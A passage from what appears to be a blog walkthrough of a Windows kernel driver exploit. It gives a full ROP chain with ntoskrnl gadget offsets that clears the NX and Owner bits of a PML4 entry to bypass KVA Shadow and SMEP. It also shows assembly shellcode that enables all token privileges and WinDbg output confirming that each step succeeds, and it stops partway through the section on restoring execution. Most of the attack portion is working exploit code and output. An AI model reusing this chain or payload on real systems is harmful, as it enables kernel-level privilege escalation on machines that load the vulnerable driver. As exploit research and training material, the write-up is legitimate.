0x12\r\n1: kd&gt; uu 00001a1a`1a003500 L3\r\n00001a1a`1a003500 4889c2 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0mov \u00a0 \u00a0 rdx,rax\r\n00001a1a`1a003503 488b08 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0mov \u00a0 \u00a0 rcx,qword ptr [rax]\r\n00001a1a`1a003506 480fbae902 \u00a0 \u00a0 \u00a0bts \u00a0 \u00a0 rcx,2\r\n1: kd&gt; ba e 1 00001a1a`1a003503\r\n1: kd&gt;<\/pre>\n<\/div>\n<div>\n<p>We launch again the exploit and the <strong>VM just restarts<\/strong>.<\/p>\n<\/div>\n<\/div>\n<div>\n<h4>Kernel Virtual Address Shadow<\/h4>\n<div>\n<p>The issue with our SMEP bypass strategy is that it is suitable for versions of <strong>Windows 10<\/strong> released <strong>before March 2018<\/strong>. After that, Microsoft introduced <strong>Kernel Virtual Address Shadow<\/strong>, a protection technique for mitigating <a href=\"https:\/\/meltdownattack.com\/\">Meltdown vulnerability<\/a>, having also the <strong>secondary effect of preventing kernel-mode execution in user-mode code<\/strong>.<\/p>\n<\/div>\n<div>This <a href=\"https:\/\/medium.com\/@ommadawn46\/windows-kernel-exploitation-hevd-on-windows-10-22h2-b407c6f5b8f7\">article<\/a> was definitely helpful in understanding <strong>Kernel Virtual Address Shadow<\/strong>\u00a0and how to bypass it.<\/div>\n<div>\n<p>Referring to the article, it is possible to detect if KVA is enabled by checking the <strong>PML4 entry<\/strong> <strong>(PML4E)<\/strong> of our shellcode&#8217;s address. In fact we already did it in WinDbg:<\/p>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">0: kd&gt; !pte 0x00001a1a1a003500\r\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0VA 00001a1a1a003500\r\nPXE at FFFFFEFF7FBFD1A0 \u00a0 \u00a0PPE at FFFFFEFF7FA34340 \u00a0 \u00a0PDE at FFFFFEFF46868680 \u00a0 \u00a0PTE at FFFFFE8D0D0D0018\r\ncontains 8A00000222774867 \u00a0contains 0A00000129075867 \u00a0contains 0A000001BBD76867 \u00a0contains 08000001BCC7A863\r\npfn 222774 \u00a0 \u00a0---DA--UW-V \u00a0pfn 129075 \u00a0 \u00a0---DA--UWEV \u00a0pfn 1bbd76 \u00a0 \u00a0---DA--UWEV \u00a0pfn 1bcc7a \u00a0 \u00a0---DA--KWEV<\/pre>\n<p>We can see bits of our PML4 entry (known as <strong>PX entry <\/strong>or<strong> PXE<\/strong> in Windows) are <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">---DA--UW-V<\/code>. So It&#8217;s <strong>not executable<\/strong> (the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">E<\/code> flag doesn&#8217;t appear in WinDbg) as explained in the article.<\/p>\n<\/div>\n<div>\n<p>According to the article, the strategy for <strong>bypassing KVA and SMEP<\/strong> is the following:<\/p>\n<ol>\n<li>Retrieve the <strong>PML4E&#8217;s address<\/strong>.<\/li>\n<li>Set <strong>bit at index 63 (NX bit)<\/strong> and <strong>bit at index 2 (Owner bit)<\/strong> to <strong>0<\/strong> of the <strong>PML4E<\/strong>, in order to make the <strong>PML4E both executable and with Owner = supervisor<\/strong> (in a x64 architecture, PML4E is a 64 bits value with <strong>indexes going from 0 to 63<\/strong>).<\/li>\n<\/ol>\n<\/div>\n<h4>A note on SMEP bypass using the CR4 register technique<\/h4>\n<p>At this point it would be probably easier to <strong>disable SMEP by just using the technique that clears the bit at index 20 of the CR4 register<\/strong>.<\/p>\n<p>However, I didn&#8217;t like the idea of possibly triggering <a href=\"https:\/\/en.wikipedia.org\/wiki\/Kernel_Patch_Protection\"><strong>PatchGuard<\/strong><\/a>. In addition, using ropper I couldn&#8217;t find &#8220;nice gadgets&#8221; that allow to modify the CR4 register.<\/p>\n<p>Here&#8217;s the output of ropper looking for gadgets that save the CR4 register in another one:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">(windows11_ntoskrnl.exe\/PE\/x86_64)&gt; search % %, cr4\r\n[INFO] Searching for gadgets: % %, cr4\r\n\r\n[INFO] File: \/mnt\/c\/DRIVERS\/windows11_ntoskrnl.exe\r\n0x0000000140b14519: add dword ptr [rbp - 0xf], esi; mov rax, cr4; or rax, 0x40; mov cr4, rax; ret;\r\n0x0000000140b1451a: jne 0xb1450d; mov rax, cr4; or rax, 0x40; mov cr4, rax; ret;\r\n0x000000014042815d: mov r9, cr4; mov r8, cr0; mov ecx, 0x7f; call 0x42c480; nop; ret;\r\n0x0000000140b1451c: mov rax, cr4; or rax, 0x40; mov cr4, rax; ret;\r\n0x000000014042815e: mov rcx, cr4; mov r8, cr0; mov ecx, 0x7f; call 0x42c480; nop; ret;\r\n0x0000000140b14517: sub eax, 1; jne 0xb1450d; mov rax, cr4; or rax, 0x40; mov cr4, rax; ret;\r\n0x0000000140b14516: sub r8, 1; jne 0xb1450d; mov rax, cr4; or rax, 0x40; mov cr4, rax; ret;\r\n0x0000000140b1451b: int1; mov rax, cr4; or rax, 0x40; mov cr4, rax; ret;\r\n\r\n(windows11_ntoskrnl.exe\/PE\/x86_64)&gt; search % cr4\r\n[INFO] Searching for gadgets: % cr4\r\n\r\n[...]\r\n0x0000000140b1451b: int1; mov rax, cr4; or rax, 0x40; mov cr4, rax; ret;\r\n\r\n(windows11_ntoskrnl.exe\/PE\/x86_64)&gt;<\/pre>\n<p>As you can see, we have some gadgets that are followed by a call to a fixed location (that I would avoid).<\/p>\n<p>The most promising gadget in my opinion was <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">0x0000000140b1451c: mov rax, cr4; or rax, 0x40; mov cr4, rax; ret;<\/code>. However, you can see it ends up <strong>flipping a bit of the CR4 register<\/strong>, that again <strong>may trigger PatchGuard<\/strong>\u00a0or other <strong>unwelcome behavior<\/strong>.<\/p>\n<\/div>\n<div>\n<h4>KVA\/SMEP bypass ROP chain<\/h4>\n<div>\n<p>The first thing to do in crafting this second ROP chain is retrieving the address of the PML4 entry.<\/p>\n<\/div>\n<div>\n<p>Based on the article, the function for retrieving the PML4E address is <strong><em>CalculatePml4VirtualAddress()<\/em><\/strong>\u00a0and It requires two indexes:<\/p>\n<ul>\n<li><strong>pml4SelfRefIndex<\/strong>: calculated through <em><strong>ExtractPml4Index()<\/strong><\/em> passing as input the <strong>pteAddress<\/strong> that is located at <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">nt!MiGetPteAddress+0x13<\/code>.<\/li>\n<li><strong>pml4Index<\/strong>: calculated again through the <em><strong>ExtractPml4Index()<\/strong><\/em> but passing as input the <strong>address of the shellcode<\/strong>.<\/li>\n<\/ul>\n<\/div>\n<div>\n<p>The <strong>pml4Index<\/strong> can be easily calculated from user-mode, out of the ROP chain, as we already know the address of the shellcode:<\/p>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">[...]\r\nunsigned int ExtractPml4Index(PVOID address)\r\n{\r\n    return ((uintptr_t)address &gt;&gt; 39) &amp; 0x1ff;\r\n}\r\n[...]\r\nBOOL arbitraryCallDriver(PVOID outputBuffer, SIZE_T outSize) {\r\n[...]\r\n\r\n    memset(scbase, 0x42, 0x5000);\r\n    char* sc = scbase + 0x3500;\r\n    memcpy(sc, shellcode, sizeof(shellcode));\r\n\r\n\r\n    unsigned int pml4shellcode_index = ExtractPml4Index(sc);\r\n    printf(\"[*] sc = 0x%p\\n\", sc);\r\n    printf(\"[*] pml4shellcode_index 0x%p\\n\", pml4shellcode_index);\r\n\r\n    \/\/start of ROP chain\r\n}<\/pre>\n<\/div>\n<div>\n<p>On the other hand, the <strong>pml4SelfRefIndex<\/strong> must be calculated inside our ROP chain, as we must start from the address at <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">nt!MiGetPteAddress+0x13<\/code>.<\/p>\n<\/div>\n<div>\n<p>So first we read the address at <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">nt!MiGetPteAddress+0x13<\/code> and store the result in <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rax<\/code>:<\/p>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">\/\/&lt;get base from nt!MiGetPteAddress+0x13&gt;\r\nropStack[index] = g_ntbase + 0x203beb; index++; \/\/ pop rax; ret;\r\nropStack[index] = g_ntbase + 0x2abaf7; index++; \/\/ address of nt!MiGetPteAddress+0x13\r\nropStack[index] = g_ntbase + 0x235aa6; index++; \/\/ mov rax, qword ptr [rax]; ret;\r\n\/\/&lt;get base from nt!MiGetPteAddress+0x13&gt;<\/pre>\n<p>Then we calculate the <strong>pml4SelfRefIndex<\/strong> from the address previously stored in <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rax<\/code>. This is like re-implementing the <em><strong>ExtractPml4Index()<\/strong><\/em> with ROP gadgets. So we basically have to <strong>right shift rax by 39<\/strong> and then <strong>and rax with constant 0x1ff<\/strong>.<\/p>\n<\/div>\n<div>\n<p>This is achieved with the ROP chain below where we <strong>shift right <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rax<\/code><\/strong>\u00a0by <strong>0xc+0xc+0xc+3=0x27<\/strong> (0x27 corresponds to 39). The calculated <strong>pml4SelfRefIndex<\/strong> is finally moved from <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rax<\/code> to <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rcx<\/code>.<\/p>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">\/\/&lt;get pml4Index&gt;\r\nropStack[index] = g_ntbase + 0x34bb9c; index++; \/\/ pop rdx; ret;\r\nropStack[index] = 0x1ff; index++; \/\/ 0x1ff\r\nropStack[index] = g_ntbase + 0x752664; index++;\/\/ shr rax, 0xc; ret;\r\nropStack[index] = g_ntbase + 0x752664; index++;\/\/ shr rax, 0xc; ret;\r\nropStack[index] = g_ntbase + 0x752664; index++;\/\/ shr rax, 0xc; ret;\r\nropStack[index] = g_ntbase + 0x38738b; index++;\/\/shr rax, 3; ret;\r\nropStack[index] = g_ntbase + 0x358532; index++;\/\/ and rax, rdx; ret;\r\n\/\/&lt;get pml4index&gt; now pml4index in rax\r\n\r\n\/\/&lt;move pml4index in rcx&gt;\r\nropStack[index] = g_ntbase + 0x34bb9c; index++;\/\/ pop rdx; ret;\r\nropStack[index] = (ULONGLONG)&amp;ropStack[index + 3]; index++;\r\nropStack[index] = g_ntbase + 0x35dbc9; index++; \/\/ mov qword ptr [rdx], rax; ret;\r\nropStack[index] = g_ntbase + 0x2053e5; index++; \/\/ pop rcx; ret;\r\nropStack[index] = 0x4141414141414141; index++;\/\/dummy\r\n\/\/&lt;mov pml4index in rcx&gt;<\/pre>\n<p>Now that we have both indexes we can implement the <em><strong>CalculatePml4VirtualAddress()<\/strong><\/em> in the ROP chain.<\/p>\n<p>As we can see the ROP chain below first loads in <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rax<\/code> the constant value <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">0xffff<\/code>. After that It <strong>shift left <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rax<\/code> by 0x3<\/strong>\u00a0<strong>three times<\/strong>, that <strong>corresponds to a shift left by 0x9<\/strong>, and then performs an <strong>or between <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rax<\/code> and the pml4SelfRefIndex stored in <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rcx<\/code><\/strong>. It repeats this <strong>four times<\/strong>, according to the algorithm in the referenced article.<\/p>\n<p>Finally, it performs one last <strong>shift left of <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rax<\/code> by 0xc<\/strong> and <strong>or rax with pml4Index*8<\/strong>. At this point the <strong>address of the PML4E is now in <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rax<\/code><\/strong>:<\/p>\n<\/div>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">\/\/&lt;get pml4 address&gt;\r\nropStack[index] = g_ntbase + 0x203beb; index++;\/\/ pop rax; ret;\r\nropStack[index] = 0xffff; index++;\r\n\/\/first round\r\nropStack[index] = g_ntbase + 0x38aa1f; index++;\/\/ shl rax, 3; ret;\r\nropStack[index] = g_ntbase + 0x38aa1f; index++;\/\/ shl rax, 3; ret;\r\nropStack[index] = g_ntbase + 0x38aa1f; index++;\/\/ shl rax, 3; ret;\r\nropStack[index] = g_ntbase + 0x24d001; index++;\/\/ or rax, rcx; ret;\r\n\/\/second round\r\nropStack[index] = g_ntbase + 0x38aa1f; index++;\/\/ shl rax, 3; ret;\r\nropStack[index] = g_ntbase + 0x38aa1f; index++;\/\/ shl rax, 3; ret;\r\nropStack[index] = g_ntbase + 0x38aa1f; index++;\/\/ shl rax, 3; ret;\r\nropStack[index] = g_ntbase + 0x24d001; index++;\/\/ or rax, rcx; ret;\r\n\/\/third round\r\nropStack[index] = g_ntbase + 0x38aa1f; index++;\/\/ shl rax, 3; ret;\r\nropStack[index] = g_ntbase + 0x38aa1f; index++;\/\/ shl rax, 3; ret;\r\nropStack[index] = g_ntbase + 0x38aa1f; index++;\/\/ shl rax, 3; ret;\r\nropStack[index] = g_ntbase + 0x24d001; index++;\/\/ or rax, rcx; ret;\r\n\/\/fourth round\r\nropStack[index] = g_ntbase + 0x38aa1f; index++;\/\/ shl rax, 3; ret;\r\nropStack[index] = g_ntbase + 0x38aa1f; index++;\/\/ shl rax, 3; ret;\r\nropStack[index] = g_ntbase + 0x38aa1f; index++;\/\/ shl rax, 3; ret;\r\nropStack[index] = g_ntbase + 0x24d001; index++;\/\/ or rax, rcx; ret;\r\n\/\/fifth round\r\nropStack[index] = g_ntbase + 0x322d1b; index++;\/\/ shl rax, 0xc; ret;\r\nropStack[index] = g_ntbase + 0x2053e5; index++; \/\/ pop rcx; ret;\r\nropStack[index] = (DWORD64)pml4shellcode_index * 8; index++;\r\nropStack[index] = g_ntbase + 0x24d001; index++;\/\/ or rax, rcx; ret;\r\n\/\/&lt;get pml4 address&gt; pml4 address in rax<\/pre>\n<\/div>\n<div>\n<div>\n<p>We then set to <strong>0<\/strong> the bit at <strong>index 2<\/strong>, meaning <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">Owner bit = Supervisor<\/code>, and the bit at <strong>index 63<\/strong>, the <strong>NX bit<\/strong> using the <a href=\"https:\/\/www.felixcloutier.com\/x86\/btr\">btr<\/a> instruction:<\/p>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">\/\/&lt;clean owner bit O=S position 2&gt;\r\nropStack[index] = g_ntbase + 0x34bb9c; index++;\/\/ pop rdx; ret;\r\nropStack[index] = 0x2; index++;\r\nropStack[index] = g_ntbase + 0x354294; index++;\/\/ btr qword ptr [rax], rdx; ret;\r\n\/\/&lt;clean owner bit O=S position 2&gt;\r\n\r\n\/\/&lt;clean NX bit position 63&gt;\r\nropStack[index] = g_ntbase + 0x34bb9c; index++;\/\/ pop rdx; ret;\r\nropStack[index] = 63; index++;\r\nropStack[index] = g_ntbase + 0x354294; index++;\/\/ btr qword ptr [rax], rdx; ret;\r\n\/\/&lt;clean NX bit position 63&gt;<\/pre>\n<p>At the end of the chain we just need to execute the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">wbinvd<\/code>instruction in order to flush the CPU instruction cache, ensuring the <strong>bits in the PML4E are actually modified<\/strong>, and then <strong>redirect execution to our shellcode<\/strong>:<\/p>\n<\/div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">ropStack[index] = g_ntbase + 0x370050; index++; \/\/ wbinvd; ret;\r\n\r\n\/\/&lt;shellcode&gt;\r\nropStack[index] = (ULONGLONG)sc; index++;<\/pre>\n<div>\n<p>At this point we can recompile the PoC with our KVA\/SMEP bypass ROP chain, set a <strong>breakpoint on the second instruction<\/strong>\u00a0<strong>of our shellcode<\/strong> and notice the breakpoint gets hit successfully. We can also check the <strong>status of the PML4 entry<\/strong>\u00a0to notice it was modified successfully:<\/p>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">```\r\n0: kd&gt; !process 0 0 DrvExpTemplate.exe\r\nPROCESS ffffe18f381130c0\r\n    SessionId: 1  Cid: 1e20    Peb: 2d546c7000  ParentCid: 0720\r\n    DirBase: 1aea2f002  ObjectTable: ffff9602f9530040  HandleCount:  51.\r\n    Image: DrvExpTemplate.exe\r\n\r\n0: kd&gt; .process \/p \/r \/i ffffe18f381130c0\r\nYou need to continue execution (press 'g' &lt;enter&gt;) for the context\r\nto be switched. When the debugger breaks in again, you will be in\r\nthe new process context.\r\n0: kd&gt; g\r\nBreak instruction exception - code 80000003 (first chance)\r\nnt!DbgBreakPointWithStatus:\r\nfffff800`25e20ca0 cc              int     3\r\n1: kd&gt; dx @$curprocess.Name\r\n@$curprocess.Name : DrvExpTemplate.exe\r\n    Length           : 0x12\r\n1: kd&gt; ba e 1 00001a1a`1a003503\r\n1: kd&gt; g\r\nBreakpoint 0 hit\r\n00001a1a`1a003503 488b08          mov     rcx,qword ptr [rax]\r\n1: kd&gt; uu 00001a1a`1a003500 L5\r\n00001a1a`1a003500 4889c2          mov     rdx,rax\r\n00001a1a`1a003503 488b08          mov     rcx,qword ptr [rax]\r\n00001a1a`1a003506 480fbae902      bts     rcx,2\r\n00001a1a`1a00350b 480fbae93f      bts     rcx,3Fh\r\n00001a1a`1a003510 4831c0          xor     rax,rax\r\n1: kd&gt; uu @rip L1\r\n00001a1a`1a003503 488b08          mov     rcx,qword ptr [rax]\r\n1: kd&gt; !pte @rip\r\n                                           VA 00001a1a1a003503\r\nPXE at FFFFFEFF7FBFD1A0    PPE at FFFFFEFF7FA34340    PDE at FFFFFEFF46868680    PTE at FFFFFE8D0D0D0018\r\ncontains 0A000001AA4D0863  contains 0A000001AF9D1867  contains 0A0000019DCD2867  contains 08000001AA0D6867\r\npfn 1aa4d0    ---DA--KWEV  pfn 1af9d1    ---DA--UWEV  pfn 19dcd2    ---DA--UWEV  pfn 1aa0d6    ---DA--UWEV\r\n```<\/pre>\n<div>\n<h4>Increment privileges payload<\/h4>\n<div>To craft the shellcode I&#8217;ve decided to use the <a href=\"https:\/\/www.ired.team\/miscellaneous-reversing-forensics\/windows-kernel-internals\/how-kernel-exploits-abuse-tokens-for-privilege-escalation#id-2.-modifying-token-privileges\"><strong>modify token privileges technique<\/strong><\/a>.<\/div>\n<div>\n<p>Here&#8217;s the disassembled shellcode payload (generated with <a href=\"https:\/\/defuse.ca\/online-x86-assembler.htm\">https:\/\/defuse.ca\/online-x86-assembler.htm<\/a>):<\/p>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"monokai\">\/\/ increment privileges payload\r\nxor    rax,rax\r\nmov    rax,QWORD PTR gs:[rax+0x188]\r\nmov    rax,QWORD PTR [rax+0xb8]\r\nmov    r8,QWORD PTR [rax+0x4b8]\r\nand    r8,0xfffffffffffffff0\r\nmovabs r9,0x1ff2ffffbc\r\nmov    QWORD PTR [r8+0x40],r9\r\nmov    QWORD PTR [r8+0x48],r9\r\nxor    rax,rax \/\/just a random instruction<\/pre>\n<\/div>\n<div>\n<p>It does the following:<\/p>\n<ol>\n<li>Retrieve the <strong>current process&#8217;s _EPROCESS structure<\/strong><\/li>\n<li>Retrieve the <strong>associated _TOKEN structure<\/strong><\/li>\n<li>Modify the fields <strong>Present <\/strong>and <strong>Enabled<\/strong> of <strong>_SEP_TOKEN_PRIVILEGES<\/strong> structure in order to <strong>enable all the privileges<\/strong>.<\/li>\n<\/ol>\n<\/div>\n<p>At this point we can try compiling again our exploit, set a breakpoint at the <strong>latest instruction in our shellcode<\/strong> (final <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">xor rax,rax<\/code> instruction) and inspect the current token privileges with the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">!token<\/code>command. We can notice all the privileges get enabled successfully as shown below:<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">0: kd&gt; ba e 1 00001a1a`1a00353f\r\n0: kd&gt; g\r\nBreakpoint 0 hit\r\n00001a1a`1a00353f 4831c0          xor     rax,rax\r\n1: kd&gt; !token\r\nThread is not impersonating. Using process token...\r\n[...]\r\nPrivs: \r\n 02 0x000000002 SeCreateTokenPrivilege            Attributes - Enabled \r\n 03 0x000000003 SeAssignPrimaryTokenPrivilege     Attributes - Enabled \r\n 04 0x000000004 SeLockMemoryPrivilege             Attributes - Enabled \r\n 05 0x000000005 SeIncreaseQuotaPrivilege          Attributes - Enabled \r\n 07 0x000000007 SeTcbPrivilege                    Attributes - Enabled \r\n 08 0x000000008 SeSecurityPrivilege               Attributes - Enabled \r\n 09 0x000000009 SeTakeOwnershipPrivilege          Attributes - Enabled \r\n 10 0x00000000a SeLoadDriverPrivilege             Attributes - Enabled \r\n 11 0x00000000b SeSystemProfilePrivilege          Attributes - Enabled \r\n 12 0x00000000c SeSystemtimePrivilege             Attributes - Enabled \r\n 13 0x00000000d SeProfileSingleProcessPrivilege   Attributes - Enabled \r\n 14 0x00000000e SeIncreaseBasePriorityPrivilege   Attributes - Enabled \r\n 15 0x00000000f SeCreatePagefilePrivilege         Attributes - Enabled \r\n 16 0x000000010 SeCreatePermanentPrivilege        Attributes - Enabled \r\n 17 0x000000011 SeBackupPrivilege                 Attributes - Enabled \r\n 18 0x000000012 SeRestorePrivilege                Attributes - Enabled \r\n 19 0x000000013 SeShutdownPrivilege               Attributes - Enabled \r\n 20 0x000000014 SeDebugPrivilege                  Attributes - Enabled \r\n 21 0x000000015 SeAuditPrivilege                  Attributes - Enabled \r\n 22 0x000000016 SeSystemEnvironmentPrivilege      Attributes - Enabled \r\n 23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default \r\n 25 0x000000019 SeUndockPrivilege                 Attributes - Enabled \r\n 28 0x00000001c SeManageVolumePrivilege           Attributes - Enabled \r\n 29 0x00000001d SeImpersonatePrivilege            Attributes - Enabled \r\n 30 0x00000001e SeCreateGlobalPrivilege           Attributes - Enabled Default \r\n 31 0x00000001f SeTrustedCredManAccessPrivilege   Attributes - Enabled \r\n 32 0x000000020 SeRelabelPrivilege                Attributes - Enabled \r\n 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - Enabled \r\n 34 0x000000022 SeTimeZonePrivilege               Attributes - Enabled \r\n 35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - Enabled \r\n 36 0x000000024 SeDelegateSessionUserImpersonatePrivilege  Attributes - Enabled \r\nAuthentication ID:         (0,5c94a)\r\nImpersonation Level:       Anonymous\r\nTokenType:                 Primary\r\n[...]<\/pre>\n<h3>Restoring execution<\/h3>\n<div>\n<div>\n<p>At this point we must find a way to restore the execution flow in order to not cause a BSOD after executing our shellcode. We have two options :<\/p>\n<\/div>\n<div>\n<ul>\n<li>Executing a <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">sysret<\/code>instruction. This is the couterpart of <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">syscall<\/code>and allows to <strong>transit from kernel-mode to user-mode.<\/strong><\/li>\n<li><strong>Reset the stack pointer<\/strong> to the right location in the stack so that the execution flow gets restored from where it was hijacked.<\/li>\n<\/ul>\n<\/div>\n<div>\n<p>I preferred to go with the <strong>second option<\/strong> as in my opinion it is cleaner and does not leave the memory in an inconsistent state.<\/p>\n<\/div>\n<div>\n<p>The first option instead may, for example, cause <strong>memory leaks<\/strong> or leave some <strong>mutexes locked<\/strong>. This is because functions in the call stack won&#8217;t finish normally, which means resources acquired by the functions part of the call stack (locks, allocations in the pool&#8230;) <strong>may not be released<\/strong>.<\/p>\n<\/div>\n<div>\n<p><em>We will also have to <strong>restore the PML4 entry<\/strong> to its original value, as I got some issues when our process tries to exit.<\/em><\/p>\n<\/div>\n<h4>Retrieving the original value of the stack pointer<\/h4>\n<div>\n<p>An easy way to retrieve the original value the stack pointer, before tampering it with the pivot gadget, is doing the following consideration:<\/p>\n<\/div>\n<div>\n<p><em><strong>The stack frames in the stack will have always the same size<\/strong>. If it is true then the <strong>offset between the initial stack pointer and the original stack pointer before the hijacking will always be the same<\/strong>.<\/em><\/p>\n<\/div>\n<\/div>\n<div>\n<p>Let&#8217;s verify this in WinDbg. Let&#8217;s put a breakpoint at <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">atdcm64a+0x223f<\/code>, that is where our vulnerable driver calls <em>IofCallDriver()<\/em>:<\/p>\n<\/div>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">1: kd&gt; ba e 1 fffff800`2d9f223f\r\n1: kd&gt; g\r\nBreakpoint 1 hit\r\natdcm64a+0x223f:\r\nfffff800`2d9f223f ff15fb2d0000    call    qword ptr [atdcm64a+0x5040 (fffff800`2d9f5040)]\r\n0: kd&gt; t\r\nnt!IofCallDriver:\r\nfffff800`25cebea0 4883ec38        sub     rsp,38h\r\n0: kd&gt;<\/pre>\n<div>\n<div>\n<p>Let&#8217;s step until we reach <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">jmp rax<\/code>, inside <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">nt!guard_dispatch_icall<\/code>, the instruction that allows us to hijack the execution flow. Now, let&#8217;s inspect the call stack:<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">1: kd&gt; p\r\nnt!guard_dispatch_icall+0x71:\r\nfffff800`25e21b01 ffe0            jmp     rax\r\n1: kd&gt; k\r\n # Child-SP          RetAddr               Call Site\r\n00 ffffde08`f566f458 fffff800`25cebef5     nt!guard_dispatch_icall+0x71\r\n01 ffffde08`f566f460 fffff800`2d9f2245     nt!IofCallDriver+0x55\r\n02 ffffde08`f566f4a0 fffff800`2d9f16c3     atdcm64a+0x2245\r\n03 ffffde08`f566f520 fffff800`25cebef5     atdcm64a+0x16c3\r\n04 ffffde08`f566f720 fffff800`26140060     nt!IofCallDriver+0x55\r\n05 ffffde08`f566f760 fffff800`26141a90     nt!IopSynchronousServiceTail+0x1d0\r\n06 ffffde08`f566f810 fffff800`26141376     nt!IopXxxControlFile+0x700\r\n07 ffffde08`f566fa00 fffff800`25e2bbe5     nt!NtDeviceIoControlFile+0x56\r\n08 ffffde08`f566fa70 00007ff8`01b6f454     nt!KiSystemServiceCopyEnd+0x25\r\n09 0000007c`fd2ffbb8 00007fff`ff27664b     0x00007ff8`01b6f454\r\n0a 0000007c`fd2ffbc0 0000007c`fd2ffc30     0x00007fff`ff27664b\r\n0b 0000007c`fd2ffbc8 0000007c`fd2ffc38     0x0000007c`fd2ffc30\r\n0c 0000007c`fd2ffbd0 0000007c`fd2ffc40     0x0000007c`fd2ffc38\r\n0d 0000007c`fd2ffbd8 00000000`00000000     0x0000007c`fd2ffc40<\/pre>\n<div>\n<div>From the call stack we can see that after <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">nt!guard_dispatch_icall<\/code> the execution should return to <strong>0xfffff80025cebef5<\/strong>\u00a0(first row in the call stack).<\/div>\n<\/div>\n<div>\n<div>\n<div>\n<p>If we inspect the data stored in the stack, starting from <strong>RSP<\/strong>, we can see the return address is at address <strong>0xffffde08f566f458<\/strong> in the stack:<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">1: kd&gt; dq @rsp\r\nffffde08`f566f458  fffff800`25cebef5 00000000`00000000\r\nffffde08`f566f468  fffff800`25cebea0 00000000`00000010\r\nffffde08`f566f478  00000000`00040304 ffffde08`f566f498\r\nffffde08`f566f488  00000000`00000018 ffffde08`f566f4a0\r\nffffde08`f566f498  fffff800`2d9f2245 0000001a`ff000000\r\nffffde08`f566f4a8  00000000`00000000 ffffe18f`323e500d\r\nffffde08`f566f4b8  fffff800`25dd763f 00000000`00000000\r\nffffde08`f566f4c8  ffffde08`f566f4f0 ffffde08`f566f4e0<\/pre>\n<div>\n<div>\n<p>Let&#8217;s also retrieve the <em>_ETHREAD<\/em> and <em>_KTHREAD<\/em> structs of our current thread:<\/p>\n<\/div>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">1: kd&gt; !thread\r\nTHREAD ffffe18f35335080  Cid 1304.08d4  Teb: 0000007cfd07a000 Win32Thread: 0000000000000000 RUNNING on processor 1\r\nIRP List:\r\n    ffffe18f36d48000: (0006,1360) Flags: 00060000  Mdl: 00000000\r\n    ffffe18f34c31cd0: (0006,0118) Flags: 00060070  Mdl: 00000000\r\n[...]\r\n1: kd&gt; dt nt!_ETHREAD  ffffe18f35335080 \r\n   +0x000 Tcb              : 